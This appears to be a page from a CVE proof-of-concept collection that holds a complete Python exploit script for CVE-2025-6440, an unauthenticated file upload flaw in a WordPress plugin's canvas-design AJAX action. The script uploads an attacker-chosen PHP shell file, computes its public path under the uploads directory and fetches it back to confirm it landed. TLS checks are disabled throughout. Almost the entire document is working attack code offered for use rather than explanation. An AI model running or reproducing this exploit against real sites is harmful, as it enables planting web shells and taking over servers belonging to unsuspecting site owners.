4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-6440.py PY
#!/usr/bin/env python3
import argparse
import urllib3
import json
import os
import secrets
import sys
from urllib.parse import urljoin
from colorama import Fore, Style, init
import mimetypes
import requests
from io import BytesIO

BANNER = "[ CVE-2025-6440 SCRIPT BY PWDNX1337 ]"

def norm(base: str) -> str:
    if not base.startswith(("http://", "https://")):
        base = "http://" + base
    return base.rstrip("/") + "/"

def ajax_url(base: str) -> str:
    return urljoin(base, "wp-admin/admin-ajax.php")

def uploads_base(base: str) -> str:
    return urljoin(base, "wp-content/uploads/")

def is_png(b: bytes) -> bool:
    return b.startswith(b'\x89PNG\r\n\x1a\n')

def contains_php(b: bytes) -> bool:
    return b.find(b'<?php') != -1 or b.find(b'<?=') != -1

def extract_php_from_bytes(b: bytes):
    idx = b.find(b'<?php')
    if idx == -1:
        idx = b.find(b'<?=')
        if idx == -1:
            return -1, b''
    return idx, b[idx:]

def upload_file(base: str, uniq: str, file_bytes: bytes, fname: str, mime: str, timeout=20.0, verbose=False):
    target = ajax_url(base)
    action = "wcdp_save_canvas_design_ajax"
    field = "0"

    params = {
        "mode": "addtocart",
        "uniq": uniq,
        "editor": "frontend",
        "designID": 0,
        "productID": 0,
        "addCMYK": False,
        "saveList": False,
        "productData": 0,
        "files": [{
            "count": field,
            "name": os.path.splitext(fname)[0],
            "ext": os.path.splitext(fname)[1].lstrip(".")
        }],
    }
    data = {"action": action, "params": json.dumps(params, separators=(",", ":"))}
    files = {field: (fname, file_bytes, mime)}
    headers = {
        "User-Agent": "mozilla/5.0 (x11; kali linux x86_64) applewebkit/537.36 (khtml, like gecko) chrome/44.0.2403.157 safari/537.36",
        "Accept": "application/json, */*;q=0.1",
        "Connection": "close",
        "Referer": base,
        "X-Requested-With": "XMLHttpRequest",
    }

    if verbose:
        print(f"\n[VERBOSE] Upload target: {target}", flush=True)
        print("[VERBOSE] Data fields:", json.dumps(data, indent=2), flush=True)
        print("[VERBOSE] File field:", field, "->", fname, f"({len(file_bytes)} bytes, {mime})", flush=True)
        print("[VERBOSE] Headers:", json.dumps(headers, indent=2), flush=True)

    try:
        resp = requests.post(
            target,
            data=data,
            files=files,
            headers=headers,
            timeout=timeout,
            allow_redirects=True,
            verify=False
        )
        if verbose:
            print(f"[VERBOSE] HTTP Response: {resp.status_code}", flush=True)
            print(f"[VERBOSE] Response length: {len(resp.text)}", flush=True)
        return resp
    except Exception as e:
        print("[!] Upload request failed:", e, flush=True)
        return None

def check_remote(public_url: str, save_copy: str = None, timeout: float = 11.0, verbose=False):
    try:
        r = requests.get(public_url, timeout=timeout, allow_redirects=True, verify=False)
    except Exception as e:
        print("[!] Remote GET failed:", e, flush=True)
        return None
    info = {
        "status_code": r.status_code,
        "content_type": r.headers.get("Content-Type", ""),
        "body_bytes": r.content
    }
    if save_copy:
        try:
            with open(save_copy, "wb") as fh:
                fh.write(r.content)
            if verbose:
                print(f"[VERBOSE] Saved remote copy to {save_copy}", flush=True)
        except Exception as e:
            print("[!] Could not write save_copy:", e, flush=True)
    return info

def main():
    init(autoreset=True)
    print(Fore.GREEN + Style.BRIGHT + BANNER + Style.RESET_ALL, flush=True)

    parser = argparse.ArgumentParser(description="")
    parser.add_argument("--url", required=True, help="")
    parser.add_argument("--file", required=True, help="shellfile.php")
    parser.add_argument("--verbose", action="store_true", help="Enable detailed debug output")
    args = parser.parse_args()

    base = norm(args.url)
    if not os.path.exists(args.file):
        print("[!] File not found:", args.file, flush=True)
        sys.exit(1)

    with open(args.file, "rb") as fh:
        file_bytes = fh.read()

    name_on_upload = os.path.basename(args.file)
    mime_guess, _ = mimetypes.guess_type(name_on_upload)
    mime = mime_guess or "application/octet-stream"

    uniq = secrets.token_hex(6)
    print("[*] URL:", base, flush=True)
    print("[*] uniq:", uniq, flush=True)
    print("[*] Uploading file:", args.file, "->", name_on_upload, "MIME:", mime, flush=True)

    resp = upload_file(base, uniq, file_bytes, name_on_upload, mime, verbose=args.verbose)
    if resp is None:
        print("[!] Upload failed", flush=True)
        sys.exit(2)

    print(f"--- Upload Response (HTTP {resp.status_code}) ---", flush=True)
    print("[Response body omitted]", flush=True)

    public_from_json = None
    try:
        j = resp.json()
        if args.verbose:
            print("[VERBOSE] JSON Response:", json.dumps(j, indent=2), flush=True)
        if isinstance(j, dict):
            for v in j.values():
                if isinstance(v, str) and ("/wp-content/" in v or v.endswith(name_on_upload)):
                    public_from_json = v
                    break
    except Exception:
        if args.verbose:
            print("[VERBOSE] Response text (first 400 chars):", flush=True)
            print((resp.text or "")[:400], flush=True)

    if public_from_json:
        if public_from_json.startswith(("http://", "https://")):
            public = public_from_json
        else:
            public = urljoin(base, public_from_json.lstrip("/"))
    else:
        public = urljoin(uploads_base(base), f"wcdp-uploads/temp/{uniq}/{name_on_upload}")

    print("[*] Public URL:", public, flush=True)

    out_download = f"downloaded_{uniq}.bin"
    print(f"[*] Fetching uploaded file from: {public}", flush=True)
    if args.verbose:
        info = check_remote(public, save_copy=out_download, verbose=True)
    else:
        info = check_remote(public, save_copy=None, verbose=False)

    if info is None:
        print("[!] Could not fetch remote file", flush=True)
        sys.exit(1)

    print(f"--- Remote File Download (HTTP {info['status_code']}) ---", flush=True)
    print("[Remote file content omitted]", flush=True)

    if is_png(info["body_bytes"]):
        print("[*] Remote file is PNG format", flush=True)
    else:
        print("[*] Remote file is NOT PNG format", flush=True)

    if contains_php(info["body_bytes"]):
        print("[!] Remote file contains PHP tags - suspicious", flush=True)
        idx, extracted = extract_php_from_bytes(info["body_bytes"])
        if idx >= 0 and args.verbose:
            outname = f"extracted_{uniq}.php"
            with open(outname, "wb") as fh:
                fh.write(extracted)
            print("[*] Extracted PHP code saved to:", outname, flush=True)

    if args.verbose:
        print("[*] Saved remote copy as:", out_download, flush=True)
        if is_png(info["body_bytes"]):
            print("[*] You can open it in an image viewer (should match your uploaded file).", flush=True)

if __name__ == "__main__":
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    main()